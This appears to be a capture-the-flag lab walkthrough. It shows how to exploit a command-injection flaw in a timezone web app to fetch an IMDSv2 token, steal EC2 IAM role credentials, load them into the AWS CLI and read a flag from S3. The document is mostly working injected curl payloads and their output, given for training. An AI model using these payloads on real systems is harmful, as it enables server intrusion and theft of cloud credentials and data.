
Launching the lab

Note 1: This lab may take more time than usual to launch since itʼs launching an EC2 instance. Estimate is bout 3-5 minutes.

Note 2: Even once the lab has launched, it can take another 2-3 minutes for the instance to finish initializing. If you try to
access the IP address and it doesnʼt resolve, thatʼs why. Give it a minute or two and try again!

Once the lab setup is done, you will receive a public IP address which we will use throughout the lab. This IP address

represents a web application that can fetch the current time around the world based on timezones.

You can access this web app from your browser or by using curl, like this:

curl http://54.84.132.229/fetch-time

Which will give you this output:

1 <!doctype html>
2 <html>
3 <head>
4     <title>Timezone Fetcher</title>
5     <style>
6         body {
7             background: linear-gradient(to right, #ff7e5f, #feb47b);
8             font-family: Arial, sans-serif;
9             text-align: center;
10             padding: 50px;
11         }
12         button {
13             background-color: #4CAF50;
14             border: none;
15             color: white;
16             padding: 15px 32px;
17             text-align: center;
18             text-decoration: none;
19             display: inline-block;
20             font-size: 16px;
21             margin: 4px 2px;
22             cursor: pointer;
23         }
24         .response {
25             background-color: white;
26             padding: 20px;
27             border-radius: 10px;
28             display: inline-block;
29             margin-top: 20px;
30         }
31     </style>
32 </head>
33 <body>
34     <h1>Fetch Current Time for All Timezones</h1>
35     <form method="post" action="/fetch-time" id="fetchForm">
36         <button type="button" onclick="fetchTime()">Fetch Time</button>
37     </form>
38     <div id="response" class="response"></div>
39     <script>
40         function fetchTime() {
41             fetch('/fetch-time', {
42                 method: 'POST',
43                 headers: {
44                     'Content-Type': 'application/x-www-form-urlencoded',
45                 },
46                 body: 'cmd=date'
47             })
48             .then(response => response.text())
49             .then(data => {
50                 document.getElementById('response').innerHTML = data;
51             });
52         }
53     </script>
54 </body>
55 </html>
56

Exploring the application

As mentioned, you can also access this web app from your browser using the provided IP address.

If you click on Fetch Time , it will return different times and timezones:

Now, letʼs take a look at the source code by right clicking the page in your browser and clicking on View Page

Source (verbiage might differ from browser to browser, but it should be something along those lines).

Below the HTTML, you will see JavaScript code in between <script>  tags:

1 <script>
2     function fetchTime() {
3         fetch('/fetch-time', {
4             method: 'POST',
5             headers: {
6                 'Content-Type': 'application/x-www-form-urlencoded',
7             },
8             body: 'cmd=date'
9         })
10         .then(response => response.text())
11         .then(data => {
12             document.getElementById('response').innerHTML = data;
13         });
14     }
15 </script>
16

Where the cmd  parameter looks like vulnerable to RCE (the body: 'cmd=date' )

What is an RCE?

An RCE (Remote Code Execution) attack or vulnerability occurs when an attacker is able to execute arbitrary code or

commands remotely on a target system. This type of attack typically results from improper input validation or insufficient

restrictions on what commands or code can be executed.

So for example, if an attacker or security researcher believes theyʼve found a potential RCE vulnerability through an input

field of a web application, they can create a proof of concept by injecting and executing their own code through that

vulnerable input.

RCE vulnerabilities are dangerous because they can lead to complete compromise of the target system, allowing attackers to

steal data, install malware, pivot to other systems, or even take full control over the affected system. Mitigating these

vulnerabilities typically involves input validation, secure coding practices, and promptly applying security patches and

updates to the software.

Finding the RCE

Letʼs try to access /fetch-time  endpoint with required body and method using curl  in our terminal:

curl -X POST -d "cmd=date" http://3.109.207.111/fetch-time

Replace the IP address with the public IP address that was returned to you by the lab. Yours will be different and wonʼt be

3.109.207.111 .

We can see that this curl commands successfully returns current times across timezones.

The way that this app works is by passing in a command to the remote server — in this case the command of date  — and

then returns the result of that command from the server.

You can try this yourself on your local device by typing in:

❯ date

Mon Jul 15 11:24:03 MDT 2024

This means we are able to inject arbitrary commands and have the underlying server execute those commands, and this is

where the RCE comes into play.

Letʼs try to inject an arbitrary command to the parameter

cmd="date; pwd"

❯ curl -X POST -d "cmd=date; pwd" http://3.109.207.111/fetch-time

<pre>Mon Jul 15 17:23:32 UTC 2024
/home/ubuntu/myapp

Africa/Abidjan: 2024-07-15 17:23:32<br>Africa/Accra: 

Because this command changes the result, it looks like the parameter is vulnerable to RCE. A secure application should not

process arbitrary commands from users at all, which tells us that there is a weakness we can probably exploit for malicious

purposes.

Letʼs prove it.

Proof of Concept

Letʼs say that we already know the underlying server is running on an EC2 instance by doing basic research (such as

researching the public IP address). Because of that, we want to try and access the IMDS information.

IMDS, if youʼre not familiar, lets you access instance metadata on a running instance, including instance profile credentials

that software running on the instance can use to access other AWS resources (like Amazon S3, as an example). That means

we want to keep IMDS secure, and that means an attacker would love to get their hands on that metadata.

Letʼs try to fetch the IMDS url to get the temporary credentials of the role attached to the EC2

curl -X POST -d "cmd=date; curl http://169.254.169.254/latest/meta-data/" http://3.109.207.111/fetch-time

This IP and URL will be the same for everyone, since itʼs the IMDS IP/URL:

http://169.254.169.254/latest/meta-data/

You want to keep that the same as my example, but donʼt forget to change the second IP address to be the one returned to

you by the lab!

What weʼre doing here is appending a curl  command after the cmd=date;  so that the remote server will run both date

and our curl  command.

You should see a result like this:

Itʼs throwing 401 unauthorized error, looks like IMDSv2 is enabled on this server. If IMDSv1 (the older version) was enabled

instead, then this command would have succeeded. Thatʼs one of the reasons itʼs recommended to use IMDSv2 now, as it is

considered more secure…but as weʼll see, itʼs not foolproof.

Fetching IMDSv2 tokens

Letʼs try to fetch the IMDSv2 token and embed it with IMDS endpoint request. Again, donʼt forget to replace the second IP

address with your labʼs IP, but keep the first the same.

curl -X POST -d "cmd=date; curl -X PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-
ttl-seconds: 21600'" http://3.109.207.111/fetch-time

After getting the token, add it to access IMDS endpoint. Keep in mind that these tokens expire after a certain amount of time,

so you canʼt just walk away for a few hours, come back, and expect it to still work. Also, make sure you put in your token and

not the one in the example, or else it wonʼt work:

curl -X POST -d "cmd=date; curl -H 'X-aws-ec2-metadata-token: AQAAAF2zWVJB5c-
70OTr0s_57Wj8b2_OvETiUYy5LhXskp1vqmVQIQ==' -G http://169.254.169.254/latest/meta-data/iam/security-
credentials/" http://3.109.207.111/fetch-time

Here we have the role name that the instance is using: rce-lab-role

Now letʼs try to fetch credentials for this role by appending the role name after http://169.254.169.254/latest/meta-

data/iam/security-credentials/  like this: (keeping everything else the same)

curl -X POST -d "cmd=date; curl -H 'X-aws-ec2-metadata-token: AQAAAF2zWVJB5c-
70OTr0s_57Wj8b2_OvETiUYy5LhXskp1vqmVQIQ==' -G http://169.254.169.254/latest/meta-data/iam/security-
credentials/rce-lab-role" http://3.109.207.111/fetch-time

We get back the:

AccessKeyID

SecretAccessKey

SessionToken

…which we can use to configure AWS CLI profile.

Exploiting the RCE via the browser (optional)

Alternative, we can do the same thing but via the browser. Just update the below mentioned JavaScript code in browser

console:

(How you do this depends on your browser. In Chrome, right click the web page → Inspect . Click on the Console  tab and

type allow pasting  then press enter. Then copy/paste the code below but replace the X-aws-ec2-metadata-token:

value with your own instead of mine:

1 function fetchTime() {
2     fetch('/fetch-time', {
3         method: 'POST',
4         headers: {
5             'Content-Type': 'application/x-www-form-urlencoded',
6         },
7         body: 'cmd=date; curl -H "X-aws-ec2-metadata-token: AQAAAF2zWVJB5c-

70OTr0s_57Wj8b2_OvETiUYy5LhXskp1vqmVQIQ==" -G http://169.254.169.254/latest/meta-data/iam/security-
credentials/rce-lab-role'

8     })
9     .then(response => response.text())
10     .then(data => {
11         document.getElementById('response').innerHTML = data;
12     });
13 }
14

Press enter, and then go back to the web page and fetch the time.

Configure your CLI with these credentials

Letʼs configure the fetched credentials via the AWS CLI in a new profile:

aws configure --profile lab-rce

Donʼt forget to also set the session token:

aws configure --profile lab-rce set aws_session_token ...

Letʼs run a quick check:

❯ aws sts get-caller-identity --profile lab-rce
{
    "UserId": "AROAT6ZKEI3EU3J3O3CTF:i-05a050291f05bc950",
    "Account": "272281913033",
    "Arn": "arn:aws:sts::272281913033:assumed-role/rce-lab-role/i-05a050291f05bc950"
}

We are indeed authenticated through the rce-lab-role !

At this point, you can go a few different directions. Technically, you have enough to prove that there is an RCE that needs to

be addressed, so you could provide this to your client or employer as proof in a writeup. However, you may want to have a bit

of fun and see what all you can access. To do that, you would need to enumerate the AWS environment. We have a course

dedicated to teaching AWS enumeration, so we will skip that step here. Instead, weʼll assume that you discovered that there

is an S3 bucket in this account, and you have access to this bucket:

❯ aws s3api list-buckets --profile lab-rce
{
    "Buckets": [
        {
            "Name": "cybr-imdsv2-rce-272281913033",
            "CreationDate": "2024-07-15T15:52:07+00:00"
        }
    ],
    "Owner": {
        "DisplayName": "christophe+1",
        "ID": "c377b25ff96abfeaab71a01cbfa9464fb6d74a223f900800e6107ed760575702"
    }
}

Youʼll see a bucket named something along the lines of: cybr-imdsv2-rce-272281913033  (the digits will be different in your

lab environment).

Letʼs try to fetch the content of s3 bucket “ rce-lab-bucket-54541119bd9c ” which has been created. replace bucket

name.

❯ aws s3 ls s3://cybr-imdsv2-rce-272281913033/ --profile lab-rce

2024-07-15 09:52:30     23 flag.txt

Here, flag.txt file is there. letʼs try to download and read itʼs content.

Use the command to download and read itʼs content. replace bucket name.

aws s3 cp s3://cybr-imdsv2-rce-272281913033/flag.txt . --profile lab-rce && cat flag.txt

FLAG{CYBR_S3_ACC3SS_V!A_RC3}

Congrats! Youʼve captured the flag 😎

THE END – Happy Hacking !!!
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